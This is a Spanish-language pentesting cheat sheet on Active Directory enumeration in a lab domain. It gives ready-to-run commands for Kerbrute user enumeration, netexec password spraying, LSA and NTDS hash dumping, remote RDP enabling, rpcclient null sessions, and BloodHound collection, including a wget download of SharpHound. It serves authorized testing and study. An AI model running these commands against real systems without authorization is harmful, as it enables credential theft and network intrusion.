# Enumeración ### Identificación de hosts ### Fping ```bash fping -asgq 172.16.0.1/24 ``` Parámetros utilizados: * `a` para mostrar los objetivos que están activos * `s` imprimir estadísticas al final de la exploración * `g` para generar una lista de destinos a partir de la red CIDR * `q` para no mostrar resultados por objetivo Con el escaneo realizado anteriormente con `fping` podemos armar una lista de hosts activos. ### Nmap También, podemos realizar el descubrimiento de host - a través de un Ping Scan con `nmap`. ```bash sudo nmap -sn 10.10.10.0/24 ``` * `-sn` Esta opción le dice a Nmap que no haga un escaneo de puertos después del descubrimiento de hosts y que sólo imprima los hosts disponibles que respondieron a la traza icmp. Ahora que tenemos una lista de hosts activos dentro de nuestra red, podemos enumerarlos más detalladamente. Queremos determinar qué servicios está ejecutando cada host, identificar hosts críticos como controladores de dominio y servidores web, e identificar hosts potencialmente vulnerables para sondearlos más tarde. Con nuestro enfoque en AD, después de hacer un barrido amplio, sería prudente centrarnos en los protocolos estándar que suelen acompañar a los servicios AD, como DNS, SMB, LDAP y Kerberos, por nombrar algunos. A continuación se muestra un ejemplo rápido de un simple escaneo Nmap. ```bash sudo nmap -v -A -iL hosts.txt -oN hostEnum ``` ```bash nmap -p- -sS --open --min-rate 5000 -vvv -Pn -n -oG scanPorts extractPorts allPorts nmap -sCV -p -oN targeted ``` ### Identificación de Usuarios Si no tenemos un usuario con el que empezar las pruebas (que suele ser el caso), tendremos que encontrar una manera de establecer un punto de apoyo en el dominio, ya sea obteniendo **credenciales en texto claro** o un **hash de contraseña NTLM** para un usuario, un **shell SYSTEM en un host unido al dominio**, o un **shell en el contexto de una cuenta de usuario de dominio**. Obtener un usuario válido con credenciales es crítico en las primeras etapas de una prueba de penetración interna. Este acceso (incluso al nivel más bajo) abre muchas oportunidades para realizar enumeraciones e incluso ataques. ### Kerbrute [Kerbrute](https://github.com/ropnop/kerbrute) puede ser una opción más sigilosa para la enumeración de cuentas de dominio. Se aprovecha del hecho de que los fallos de **pre-autenticación Kerberos** a menudo no activan registros o alertas. Utilizaremos Kerbrute junto con las listas de usuarios como pueden ser jsmith.txt o jsmith2.txt de [Insidetrust](https://github.com/insidetrust/statistically-likely-usernames). Este repositorio contiene muchas listas de usuarios diferentes que pueden ser extremadamente útiles cuando se intenta enumerar usuarios cuando se comienza desde una perspectiva no autenticada. Podemos apuntar Kerbrute al DC y alimentarlo con una lista de palabras. La herramienta es rápida, y se nos proporcionarán resultados que nos permitirán saber si las cuentas encontradas son válidas o no, lo cual es un gran punto de partida para lanzar ataques como el de Password Spraying. Por medio de una lista de usuarios, como puede ser las mencionadas anteriormente podemos ver usuarios válidos a nivel de dominio gracias a los fallos de **pre-autenticación Kerberos** ```bash kerbrute userenum -d MARVEL.LOCAL --dc 172.16.0.1 jsmith.txt -o valid_ad_users.txt ``` ```bash cat valid_ad_users.txt | awk -F "VALID USERNAME:\t" '{print $2}' | tr -d ' ' | sed '/^$/d' | awk -F '@' '{print $1}' | tee users.txt ``` Puede haber veces que un usuario tenga de contraseña su mismo nombre de usuario: ```bash kerbrute bruteuser --d MARVEL.LOCAL -dc 172.16.0.1 jsmith.txt pparker ``` ### SMB Con credenciales validas del dominio podemos realizar distintas enumeraciones. #### Netexec Enumerar equipos del dominio para comprobar si tiene el **SMB** firmado. ```bash nxc smb 172.16.0.1/24 ``` Validar las credenciales. ```bash nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' ``` Comprobar en que equipos las credenciales son validas para poder conectarnos. ```bash nxc smb 172.16.0.1/24 -u 'pparker' -p 'Password123' ``` Enumerar recursos compartidos. ```bash nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' --shares ``` Enumerar usuarios. ```bash nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' --users ``` Enumerar grupos. ```bash nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' --groups ``` Módulo `spider_plus` ```bash nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' -M spider_plus --share 'hackme' ``` Listar usuarios conectados. ```bash nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' --loggedon-users ``` Si tenemos credenciales de un usuario que pertenece a al grupo **Administradores** podemos volcar (dumpear) el LSA o el NTDS. En este caso, LSA nos podría proporcionar la contraseña del Administrador en texto claro. ```bash nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' --lsa ``` El NTDS nos proporcionará todos los hashes del dominio. ```bash nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' --ntds ``` Enumerar politicas de contraseña. ```bash nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' --pass-pol ```

Enumeración de políticas de contraseña netexec

Podemos hacer esto mismo usando `rpcclient`. ```bash rpcclient MARVEL.local/ -U 'pparker' --password 'Password123' -I 172.16.0.1 -c 'getdompwinfo' ```

Enumeración de políticas de contraseña utilizando rpcclient

### **Password Spraying** Otro aspecto destacable es el ataque conocido como **Password Spraying**. Para contextualizar, imaginemos que disponemos de unas credenciales como `pparker.MyPassword$123`. Una táctica común en este escenario es conectarse al Protocolo de Llamada a Procedimientos Remotos (RPC) - para extraer una lista de todos los usuarios del dominio. Esta lista se guarda en un archivo, por ejemplo `users.txt`, y luego se proporciona como entrada a herramientas como el propio `netexec`, junto con la contraseña antes mencionada. Este proceso permite intentar el acceso a múltiples cuentas del dominio, aprovechando la débil seguridad de la contraseña utilizada. ```bash nxc smb 172.16.0.1 -u users.txt -p 'password' --continue-on-success ``` Por otra parte, si contamos con una lista de contraseñas también podemos utilizarlas. ```bash nxc smb 172.16.0.1 -u users.txt -p passwords.txt --continue-on-success --no-bruteforce ``` El argumento `--no-bruteforce` se emplea para evitar la prueba de todas las contraseñas disponibles para cada usuario, en su lugar, se prueba el usuario de la línea 1 con la contraseña de la línea 1, el usuario de la línea 2 con la contraseña de la línea 2, y así sucesivamente. Si hemos logrado comprometer el entorno y buscamos una interfaz gráfica, la mejor opción es acceder a través de RDP (Protocolo de Escritorio Remoto). Sin embargo, antes de hacerlo, necesitaremos habilitar esta función. ```bash nxc smb 172.16.0.1 -u 'pparker' -p 'Password123' -M rdp -o ACTION=enable ``` Luego, ya podemos utilizar `xfreerdp` y conectarnos. ```bash xfreerdp /u:'pparker' /p:'Password123' /v:MARVEL.local /cert:ignore /dynamic-resolution ``` Una alternativa a moverse a través de `smbclient` es montar el recurso compartido. ```bash mount -t cifs -o "username=pparker,password=Password123,rw" "//172.16.0.1/hackme" /mnt/shared_folder ``` ```bash for dir in $(ls); do echo -e "\n[*] Enumerando permisos en el directorio $dir:\n"; echo -e "\t$(smbcacls "//172.16.0.1/hackme" Users/$dir -N | grep "Everyone")"; done ``` ### SMBMap Comprobar el acceso ```bash smbmap -u 'pparker' -p 'Password123' -d MARVEL.local -H 172.16.0.1 ``` Listar de forma recursiva un directorio compartido. ```bash smbmap -u 'pparker' -p 'Password123' -d MARVEL.local -H 172.16.0.1 -r 'hackme' ``` Descargamos un archivo del recurso compartido. ```bash smbmap -u 'pparker' -p 'Password123' -d MARVEL.local -H 172.16.0.1 --download 'hackme\test.txt' ``` ### SMB desde Windows Recursos compartidos comunes en Windows: * `C$` corresponde a C:/ * `ADMIN$` se asigna a C:/Windows * `IPC$` se utiliza para RPC * `Print$` aloja controladores para impresoras compartidas * `SYSVOL` sólo en DCs * `NETLOGON` sólo en los DC ```powershell Get-SMBShare ``` Listar recursos compartidos ```powershell net share ``` Montar el recurso compartido ```powershell net use z: \\172.16.0.1\C$ /user:pparker "Password123" ``` Desmontar el recurso compartido ```powershell net use /delete z: ``` `/all` nos permite ver los recursos compartidos administrativos (que terminan en '$'). Puede usarse IP o nombre de host para especificar el host. ``` net view \\172.16.0.1 /all ``` Con el comando `net`, podemos especificar el recurso compartido de red queremos utilizar. ```powershell net use \\\IPC$ /user:"MARVEL.local"\"pparker" "Password123" net view \\\ ``` Listar el recurso compartido `SYSVOL`. ```powershell net use x: \\\SYSVOL /user:"MARVEL.local"\"pparker" "Password123" ``` ### Smbclient ```bash smbclient -L 172.16.0.1 -N ``` ### impacket-smbclient ```bash impacket-smbclient MARVEL.local/'pparker':'Password123'@MARVEL.local ``` ### RPCClient Rpcclient es una utilidad que forma parte del conjunto de herramientas Samba. Se utiliza para interactuar con el protocolo Remote Procedure Call (RPC) de Microsoft, que se utiliza para la comunicación entre los sistemas basados en Windows y otros dispositivos. Rpcclient se utiliza principalmente para fines de depuración y pruebas, y se puede utilizar para consultar y manipular sistemas remotos. El protocolo SMB se utiliza principalmente para compartir archivos, impresoras y otros recursos en una red, pero también puede aprovechar RPC para ciertas funcionalidades y operaciones específicas. Por ejemplo, cuando accedes a recursos compartidos en una red Windows, como carpetas compartidas o impresoras, estás utilizando el protocolo SMB. Sin embargo, para algunas operaciones administrativas y de gestión, como enumerar usuarios y grupos, modificar permisos de archivos o impresoras, o acceder a la configuración del sistema remoto, SMB puede utilizar RPC para realizar estas tareas. Cuando utilizas herramientas como `rpcclient` para interactuar con un sistema remoto que ejecuta servicios SMB, estás esencialmente aprovechando el protocolo RPC subyacente que forma parte de la implementación de SMB en ese sistema. De esta manera, `rpcclient` puede actuar como una interfaz para realizar consultas y ejecutar comandos a través del protocolo RPC en el contexto de un servidor SMB. Enumerar utilizando credenciales validas. ```bash rpcclient MARVEL.local/ -U 'pparker' --password 'Password123' -I 172.16.0.1 -c "enumdomusers" ``` ```bash rpcclient MARVEL.local/ -U 'pparker' --password 'Password123' -I 172.16.0.1 -c 'enumdomusers' | grep -oP '\[\D*?\]' | tr -d '[]' | tee users_ad.txt ``` Podemos obtener las descripciones, ya que algunas puden contener información sensible como contraseñas. ```bash for user in $(cat users_ad.txt); do rpcclient -U "pparker" --password 'Password123' MARVEL.local -c "queryuser $user"; done | grep -E "User Name|Description" ``` Si la `null session` está habilitada en el **RDP** del dominio podemos aprovecharnos de la misma para enumerar. Obtener información sobre el sistema remoto, como el nombre del servidor, la versión del sistema operativo, el dominio de trabajo, la fecha y la hora del sistema, entre otros detalles. ```bash rpcclient -U "" -N 172.16.0.1 -c "srvinfo" ``` Enumera los usuarios del dominio ```bash rpcclient -U "" -N 172.16.0.1 -c "enumdomusers" ``` Enumera los grupos del dominio ```bash rpcclient -U "" -N 172.16.0.1 -c "enumdomgroups" ``` Obtiene el SID del usuario en base a su nombre ```bash rpcclient -U "" -N 172.16.0.1 -c "lookupnames ppaker" ``` Se utiliza para enumerar los SID (Security Identifiers) asignados a los grupos en un servidor remoto. Es útil para obtener información sobre los grupos de seguridad disponibles en un sistema y sus respectivos SID. ```bash rpcclient -U "" -N 192.168.1.10 -c "lsaenumsid" ``` Enumerar impresoras ```bash rpcclient -U "" -N 192.168.1.10 -c "enumprinters" ``` ### BloodHound #### Opción 1 La primera forma de enumerar con Bloodhound, es hacerlo desde la máquina atacante utilizando [`bloodhound.py`](https://github.com/dirkjanm/BloodHound.py). ```bash python3 bloodhound.py -u 'ppaker' -p 'Password123' -d MARVEL.local -ns 172.16.0.1 -ns 10.10.10.100 --zip -c All ``` #### Opción 2 La segunda manera, consta de los siguientes pasos. * Descargar `SharpHound.ps1`: ```bash wget https://raw.githubusercontent.com/puckiestyle/powershell/master/SharpHound.ps1 ``` * Subirlo a la máquina víctima ya sea con un servidor de `SMB` o `upload` de `evil-winrm`. * Importar el módulo: ```powershell Import-Module .\SharpHound.ps1 ``` * Invocar a `BloodHound` ```powershell Invoke-BloodHound -CollectionMethod All ``` Ahora queda descargar el `zip` y meterlo en `BloodHound`. #### Opción 3 Otra alternativa es utilizar [SharpHound.exe](https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe). ```powershell .\SharpHound.exe -c all ``` Por ultimo, descargarmos el archivo `zip` nuevamente y los subimos en `BloodHound`. ### ldapsearch Para enumerar a través del protoclo LDAP, podemos usar la herramienta `ldapsearch`: ```bash ldapsearch -H ldap://172.16.0.1 -x -s base namingcontexts ```

Enumeración a través del protocolo LDAP

* `-H ldap://172.16.0.1`: Especifica el URI del servidor LDAP al que se va a conectar. En este caso, `ldap://172.16.0.1`. * `-x`: Indica que se utilizará el método de autenticación simple. Esto es comúnmente utilizado para realizar pruebas, pero no es seguro para ambientes de producción. * `-s base`: Especifica el alcance de la búsqueda. En este caso, `base` significa que la búsqueda se realiza en el objeto base especificado. * `namingContexts`: Especifica el atributo que se desea buscar. En este caso, `namingContexts` es el atributo que contiene los contextos de nombres del servidor LDAP. Podemos seguir enumerando: ```shell ldapsearch -H ldap:// -x -b "DC=,DC=" ``` Si tenemos credenciales, para `ldapsearch`: ```shell ldapsearch -H ldap://172.16.0.1 -D 'pparker@MARVEL.local' -w 'Password123' -x -b "DC=MARVEL,DC=LOCAL" ``` ```bash ldapsearch -H ldap://172.16.0.1 -D 'pparker@MARVEL.local' -w 'Password123' -x -b "CN=Users,DC=MARVEL,DC=local" ``` Hay que tener en cuenta mirar cada usuario y descripción ya que pueden contener contraseñas. ### ldapdomaindump En caso de tener credenciales válidas podemos hacer uso de `ldapdomaindump`: ```shell ldapdomaindump -u 'MARVEL.local\pparker' -p 'Password123' 172.16.0.1 ``` Esto generará unos archivos `json`, `grep`, `html` que con un servidor web podemos ver en el navegador.